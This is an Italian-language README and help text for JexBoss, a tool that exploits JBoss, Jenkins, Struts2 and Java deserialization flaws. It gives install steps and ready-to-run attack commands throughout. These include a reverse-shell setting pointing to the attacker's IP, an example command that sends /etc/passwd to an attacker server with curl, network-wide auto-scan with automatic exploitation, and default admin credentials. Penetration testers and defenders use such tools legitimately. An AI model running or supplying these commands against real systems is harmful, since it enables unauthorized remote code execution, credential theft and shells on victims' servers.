
JexBoss: Jboss (e Vulnerabilità di deserializzazione Java) strumento di verifica e sfruttamento
JexBoss è uno strumento per testare e sfruttare vulnerabilità in JBoss Application Server e in altre piattaforme, framework, applicazioni Java, ecc.
Per installare l'ultima versione di JexBoss, usa i seguenti comandi:
git clone https://github.com/joaomatosf/jexboss.git
cd jexboss
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080
OPPURE:
Scarica l'ultima versione da: https://github.com/joaomatosf/jexboss/archive/master.zip
unzip master.zip
cd jexboss-master
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080
Se stai usando CentOS con Python 2.6, installa Python 2.7. Esempio di installazione di Python 2.7 su CentOS usando Collections Software scl:
yum -y install centos-release-scl
yum -y install python27
scl enable python27 bash
Se stai usando Windows, puoi usare Git Bash per eseguire JexBoss. Segui i passaggi sotto:
PATH=$PATH:C:\Python27\
PATH=$PATH:C:\Python27\Scripts
git clone https://github.com/joaomatosf/jexboss.git
cd jexboss
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080
Lo strumento e gli exploit sono stati sviluppati e testati per:
I vettori di sfruttamento sono:
$ python jexboss.py

$ python jexboss.py -u http://192.168.0.26:8080

$ python jexboss.py -h
$ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080 -results results.txt

$ python jexboss.py -mode auto-scan -A -network 192.168.0.0/24 -ports 8080 -results results.txt


Dopo aver sfruttato un server JBoss, puoi usare la shell dei comandi di jexboss stessa o effettuare una connessione inversa usando il seguente comando:
jexremote=YOUR_IP:YOUR_PORT
Esempio:
Shell>jexremote=192.168.0.10:4444

Quando si sfruttano vulnerabilità di deserializzazione Java (deserializzazione dell'applicazione, deserializzazione del servlet), le opzioni predefinite sono: effettuare una connessione inversa o inviare un comando da eseguire.
$ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H parameter_name --cmd 'curl -d@/etc/passwd http://your_server'
$ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H parameter_name
$ python jexboss.py -u http://vulnerable_java_app/path --servlet-unserialize
$ python jexboss.py -u http://vulnerable_java_struts2_app/page.action --struts2
$ python jexboss.py -u http://vulnerable_java_struts2_app/page.action --struts2 --cookies "JSESSIONID=24517D9075136F202DCE20E9C89D424D"
$ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080,80 -results report_auto_scan.log
$ python jexboss.py -mode file-scan -file host_list.txt -out report_file_scan.log
optional arguments:
-h, --help mostra questo messaggio di aiuto ed esci
--version mostra il numero di versione del programma ed esci
--auto-exploit, -A Invia automaticamente il codice di exploit (USARE SOLO SE SI HA
IL PERMESSO!!!)
--disable-check-updates, -D
Disabilita due controlli di aggiornamento: 1) Controllo aggiornamenti
eseguito dalla webshell sul server sfruttato all'indirizzo
http://webshell.jexboss.net/jsp_version.txt e 2)
controllo aggiornamenti eseguito dal client jexboss all'indirizzo
http://joaomatosf.com/rnp/releases.txt
-mode {standalone,auto-scan,file-scan}
Modalità operativa (DEFAULT: standalone)
--app-unserialize, -j
Verifica le vulnerabilità di deserializzazione Java nei parametri
HTTP (es. javax.faces.ViewState, oldFormData,
ecc.)
--servlet-unserialize, -l
Verifica le vulnerabilità di deserializzazione Java nei
Servlet (come interfacce Invoker)
--jboss Verifica solo vettori JBOSS.
--jenkins Verifica solo vettore Jenkins CLI.
--jmxtomcat Verifica JMX JmxRemoteLifecycleListener in Tomcat
(CVE-2016-8735 e CVE-2016-8735). NOTA: Non sarà
verificato di default.
--proxy PROXY, -P PROXY
Usa un proxy http per connettersi all'URL target (es. -P
http://192.168.0.1:3128)
--proxy-cred LOGIN:PASS, -L LOGIN:PASS
Credenziali di autenticazione proxy (es. -L nome:password)
--jboss-login LOGIN:PASS, -J LOGIN:PASS
Login e password JBoss per sfruttare admin-console in
JBoss 5 e JBoss 6 (default: admin:admin)
--timeout TIMEOUT Secondi di attesa prima del timeout della connessione (default 3)
Modalità standalone:
-host HOST, -u HOST Indirizzo host da controllare (es. -u
http://192.168.0.10:8080)
Opzioni avanzate (USARE QUANDO SI SFRUTTA JAVA UNSERIALIZE NELLO STRATO APPLICATIVO):
--reverse-host RHOST:RPORT, -r RHOST:RPORT
Indirizzo host remoto e porta per reverse shell quando
si sfruttano vulnerabilità di deserializzazione Java
nello strato applicativo (per ora, funziona solo su sistemi *nix)
(es. 192.168.0.10:1331)
--cmd CMD, -x CMD Invia un comando specifico da eseguire sul target (es. curl -d
@/etc/passwd http://your_server)
--windows, -w Specifica che i comandi sono per un sistema rWINDOWS
(cmd.exe)
--post-parameter PARAMETER, -H PARAMETER
Specifica il parametro in cui trovare e iniettare oggetti
serializzati. (es. -H javax.faces.ViewState o -H
oldFormData (<- Ciao PayPal =X) o altri) (DEFAULT:
javax.faces.ViewState)
--show-payload, -t Stampa il payload generato.
--gadget {commons-collections3.1,commons-collections4.0,groovy1}
Specifica il tipo di gadget per generare automaticamente il
payload. (DEFAULT: commons-collections3.1 o
groovy1 per Jenkins)
--load-gadget FILENAME
Fornisci il tuo gadget da file (un oggetto serializzato Java
in modalità RAW)
--force, -F Forza l'invio di gadget serializzati Java all'URL specificato
con -u. Questo invierà il payload in più formati
(es. RAW, GZIPED e BASE64) e con diversi
Content-Type.
Modalità scansione automatica:
-network NETWORK Rete da controllare in formato CIDR (es. 10.0.0.0/8)
-ports PORTS Elenco di porte separate da virgole da controllare per
ciascun host (es. 8080,8443,8888,80,443)
-results FILENAME Nome file per salvare i risultati della scansione automatica
Modalità scansione da file:
-file FILENAME_HOSTS Nome file con elenco di host da scansionare (un host per
riga)
-out FILENAME_RESULTS
Nome file per salvare i risultati della scansione da file